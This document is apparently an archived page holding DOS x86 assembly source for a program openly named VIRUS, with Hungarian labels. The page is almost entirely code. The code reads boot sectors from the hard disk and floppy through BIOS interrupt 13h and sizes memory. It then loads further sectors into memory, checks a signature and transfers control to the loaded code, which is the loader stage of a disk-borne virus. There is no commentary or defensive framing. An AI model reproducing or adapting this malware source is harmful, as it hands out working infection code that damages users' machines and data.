home *** CD-ROM | disk | FTP | other *** search
- PAGE ,132
-
- VIRUS SEGMENT PARA PUBLIC 'CODE'
-
- ASSUME CS:VIRUS,DS:VIRUS
-
- call gyilk
-
- int 20h
-
- nop
-
- gyilk: push ax
-
- push bx
-
- push cx
-
- push dx
-
- push es
-
- push ds
-
- push di
-
- push si
-
- call cim
-
- cim: pop bx
-
- mov si,5aa5h
-
- mov di,55aah
-
- push cs
-
- pop es
-
- ujra: add bx,1000
-
- cmp bx,1000
-
- jnc kilep1
-
- jmp kilep
-
- kilep1: push bx
-
- mov ax,201h
-
- mov dx,80h
-
- mov cx,1
-
- int 13h
-
- pop bx
-
- jnc tovabb
-
- jmp kilep
-
- tovabb: cmp si,0a55ah
-
- jnz tivbi1
-
- jmp kilep
-
- tivbi1: mov ax,cs:word ptr [bx]
-
- cmp ax,12cdh
-
- jz kilep
-
- tovbi: push bx
-
- mov ax,201h
-
- mov dx,0h
-
- mov cx,1
-
- int 13h
-
- pop bx
-
- jnc tovabbi
-
- cmp ah,6
-
- jz tovbi
-
- jmp kilep
-
- tovabbi: mov ax,cs
-
- add ax,1000h
-
- push bx
-
- push ax
-
- int 12h
-
- mov bx,64
-
- mul bx
-
- sub ax,1000h
-
- mov bx,ax
-
- pop ax
-
- cmp bx,ax
-
- jnc oke1
-
- pop bx
-
- jmp kilep
-
- oke1: pop bx
-
- oke: mov es,ax
-
- mov ax,cs:[bx+18h]
-
- mov cx,cs:[bx+1ah]
-
- mul cx
-
- mov cx,ax
-
- mov ax,cs:[bx+13h]
-
- mov dx,0
-
- div cx
-
- sub bx,1000
-
- push bx
-
- mov ch,al
-
- mov cl,1
-
- mov bx,100h
-
- mov dx,0
-
- mov ax,208h
-
- int 13h
-
- pop bx
-
- jc kilep
-
- push bx
-
- mov bx,100h
-
- mov ax,es:[bx]
-
- cmp ax,2452h
-
- pop bx
-
- jnz kilep
-
- mov ax,bx
-
- add ax,offset kilep-offset cim
-
- push cs
-
- push ax
-
- mov ax,10ah
-
- push es
-
- push ax
-
- retf
-
- kilep: pop si
-
- pop di
-
- pop ds
-
- pop es
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- ret
-
- cime: dw 0
-
- VEG EQU $
-
-
-
- VIRUS ENDS
-
-
-
- END
-
-